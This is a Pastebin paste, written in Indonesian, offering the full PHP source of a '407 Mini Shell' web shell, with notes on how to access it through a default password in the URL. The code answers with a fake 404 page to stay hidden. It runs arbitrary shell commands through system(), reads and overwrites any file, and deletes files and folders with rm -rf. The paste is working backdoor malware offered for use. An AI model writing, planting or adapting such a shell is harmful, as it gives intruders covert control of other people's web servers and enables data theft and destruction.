Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Note : Rilis Ea Tod Kntd 407 Shell
- Fitur:
- - Mobile Size
- - Siluman/Fake 404
- - Basic Feature
- - Mini 2.9 kb
- * version: 0.5
- * Solo Code
- code:https://gist.github.com/herp1337/ef9793201ab9c284db2be5def151089e
- Cara Mengakses:
- /407.php [404 File Not Found]
- /407.php?login=passwordLo
- Default:
- /407.php?login=herp1337
- * Beta Version Blom Bisa Buat Folder Dan File
- * Alternative Pake Shell Command
- <?
- ///////
- $pass="herp1337"; // Ganti Password
- ///////
- http_response_code(404);
- if(isset($_GET["login"])){
- global $pass;
- if($_GET["login"]==$pass) http_response_code(200);
- else{
- die();
- http_response_code(404);
- }
- }
- else die()
- ///////////////////////////
- ?>
- <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
- <title>407 Mini Shell - HeroBrinePE</title>
- <body bgcolor="#988100"></body>
- <style>
- #border {
- border: 1px dotted blue;
- background: black;
- color: white;
- }
- #border2 {
- border: 1px dotted blue;
- background: black;
- width: 140px;
- color: white;
- }
- #file {
- color: #98FF00;
- width: 50px;
- height: 20px;
- }
- a {
- color: white;
- border: 1px dotted #E700FF;
- text-decoration: none;
- }
- #asu {
- border: 1px solid green;
- }
- #asu2 {
- border: 1px solid green;
- background-color: black;
- }
- #dir {
- color: yellow;
- width: 50px
- heigth: 20px;
- }
- #can {
- color: cyan;
- background: black;
- }
- </style>
- <?
- if(isset($_GET["method"])){
- $method=$_GET["method"];
- if($method=="cmd"){
- echo '
- <center><h1 id="file">'.$_SERVER["REMOTE_ADDR"].'</h1><center>
- <br>
- <form method="POST" action="">
- <center>
- <input id="asu" placeholder="Enter Command Here" name="command" style="width: 200px;height: 20px;"></input>
- </center>
- ';
- die();
- }
- }
- ?>
- <div id="asu2">
- <font color="LightBlue"><? echo php_uname() ?><br>+----------+</font>
- <br><a href="?login=<? echo $pass; ?>&method=cmd">Shell Command</a>
- </div>
- <?
- if($_SERVER["REQUEST_METHOD"]=="POST"){
- if(isset($_POST["command"])){
- $isi=$_POST["command"];
- echo "result:<br>";
- echo str_replace("\n","<br>",system($isi));
- }
- if(isset($_POST["content"])){
- $isi=$_POST["content"];
- $location=$_POST["location"];
- file_put_contents($location,$isi);
- echo "<script>window.history.back()</script>";
- }
- }
- if(isset($_GET["open"])){
- $files=$_GET["open"];
- $content=file_get_contents($files);
- echo '<form method="POST" action="">';
- echo "
- <center><textarea rows=20 cols=45 id='asu' name='content'>$content</textarea>
- <br>
- <input type='hidden' value='$files' name='location'></input>
- <input type='submit' id='border2' value='Simpan Berkas Ini'></input>
- </form>
- <hr>";
- die();
- }
- ?>
- <div id="border">
- <?
- //
- if(isset($_GET["dir"])){
- $path=$_GET["dir"];
- }
- else{
- $path=getcwd();
- }
- $list=scandir($path);
- foreach($list as $item){
- global $pass;
- if($item==".." || $item=="."){
- echo "
- <div id=\"dir\">$item</div><br>
- <a href='?login=$pass&dir=$path/$item'>Open Folder</a>
- <br><hr>";
- continue;
- }
- if(is_file($path."/".$item)){
- echo "
- <div id=\"file\">$item</div>
- <a href='?login=$pass&open=$path/$item'>Edit File</a>
- <a href='?login=$pass&unlink=$path/$item'>Hapus File</a>
- <br><hr>";
- }
- else{
- echo "
- <div id=\"dir\">$item</div><br>
- <a href='?login=$pass&dir=$path/$item'>Open Folder</a>
- <a href='?login=$pass&dir=$path&rmdir=$path/$item'>Delete</a>
- <br><hr>";
- }
- }
- ?>
- </div>
- <?
- function hapus($folder){
- system("rm -rf ".escapeshellarg($folder),$value);
- return $value;
- }
- if(isset($_GET["rmdir"])){
- $test=hapus($_GET["rmdir"]);
- if($test==0) echo "<script>alert('Berhasil Menghapus Folder');window.history.back()</script>";
- else echo "<script>alert('Gagal Menghapus Folder');window.history.back()</script>";
- }
- if(isset($_GET["unlink"])){
- $test=unlink($_GET["unlink"]);
- if($test==true) echo "<script>alert('Berhasil Menghapus Berkas');window.history.back()</script>";
- else echo "<script>alert('Gagal Menghapus Berkas');window.history.back()</script>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement